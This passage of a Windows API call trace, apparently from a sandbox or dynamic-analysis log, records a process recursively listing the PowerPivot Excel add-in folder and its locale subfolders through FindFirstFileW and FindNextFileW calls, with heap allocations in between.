ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MI5C38~1.DLL")) returned 1 [0226.738] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc40a725, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc40a725, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc40a725, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MI335D~1.DLL")) returned 1 [0226.738] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc34bb5b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc34bb5b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc34bb5b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0226.738] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d04716, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d04716, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6d04716, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa080, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0226.739] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1d71cd8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d71cd8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e68, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0226.739] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1d71cd8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d71cd8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e68, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 0 [0226.739] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0226.740] GetProcessHeap () returned 0xc10000 [0226.740] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0226.740] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfae48f06, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfae48f06, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfae6f174, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x174c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0226.740] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x88e2fa3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x88e2fa3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0226.740] GetProcessHeap () returned 0xc10000 [0226.740] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0226.740] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x88e2fa3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x88e2fa3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0226.745] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x88e2fa3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x88e2fa3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.746] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf145ad52, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf145ad52, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf145ad52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1025", cAlternateFileName="")) returned 1 [0226.746] GetProcessHeap () returned 0xc10000 [0226.746] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0226.746] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1025\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf145ad52, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf145ad52, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf145ad52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0226.747] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf145ad52, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf145ad52, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf145ad52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.747] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf145ad52, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf145ad52, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0226.747] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf145ad52, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf145ad52, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0226.748] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0226.748] GetProcessHeap () returned 0xc10000 [0226.748] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0226.748] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefee59ce, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefee59ce, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1026", cAlternateFileName="")) returned 1 [0226.748] GetProcessHeap () returned 0xc10000 [0226.748] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0226.748] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1026\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefee59ce, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefee59ce, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0226.748] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefee59ce, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefee59ce, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.749] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefee59ce, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0226.749] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefee59ce, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0226.749] FindClose (in: hFindFile=0x33e4828 | out: hFindFile=0x33e4828) returned 1 [0226.749] GetProcessHeap () returned 0xc10000 [0226.749] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0226.749] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1755c61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1755c61, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1755c61, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10266", cAlternateFileName="")) returned 1 [0226.749] GetProcessHeap () returned 0xc10000 [0226.749] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0226.749] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\10266\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1755c61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1755c61, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1755c61, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0226.750] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1755c61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1755c61, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1755c61, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.750] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1755c61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1755c61, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x112c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0226.750] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1755c61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1755c61, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x112c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0226.750] FindClose (in: hFindFile=0x33e4be8 | out: hFindFile=0x33e4be8) returned 1 [0226.750] GetProcessHeap () returned 0xc10000 [0226.750] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0226.751] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4266542, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4266542, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4266542, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1027", cAlternateFileName="")) returned 1 [0226.751] GetProcessHeap () returned 0xc10000 [0226.751] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0226.751] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1027\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4266542, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4266542, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4266542, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0226.752] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4266542, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4266542, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4266542, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.752] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4266542, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4266542, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x114c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0226.752] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4266542, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4266542, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x114c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0226.752] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0226.785] GetProcessHeap () returned 0xc10000 [0226.785] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0226.785] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffd42fe2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffd42fe2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffd42fe2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1028", cAlternateFileName="")) returned 1 [0226.785] GetProcessHeap () returned 0xc10000 [0226.785] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0226.785] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1028\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffd42fe2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffd42fe2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffd42fe2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0226.791] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffd42fe2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffd42fe2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffd42fe2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.791] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffd42fe2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffd42fe2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x106c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0226.791] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffd42fe2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffd42fe2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x106c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0226.791] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0226.791] GetProcessHeap () returned 0xc10000 [0226.791] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0226.791] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf632eb9d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf632eb9d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf632eb9d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1029", cAlternateFileName="")) returned 1 [0226.792] GetProcessHeap () returned 0xc10000 [0226.792] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0226.792] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1029\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf632eb9d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf632eb9d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf632eb9d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0226.836] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf632eb9d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf632eb9d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf632eb9d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.837] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf632eb9d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf632eb9d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x114c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0226.837] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf632eb9d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf632eb9d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x114c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0226.837] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0226.837] GetProcessHeap () returned 0xc10000 [0226.837] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0226.837] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaf7a22a, ftCreationTime.dwHighDateTime=0x1d327e7, 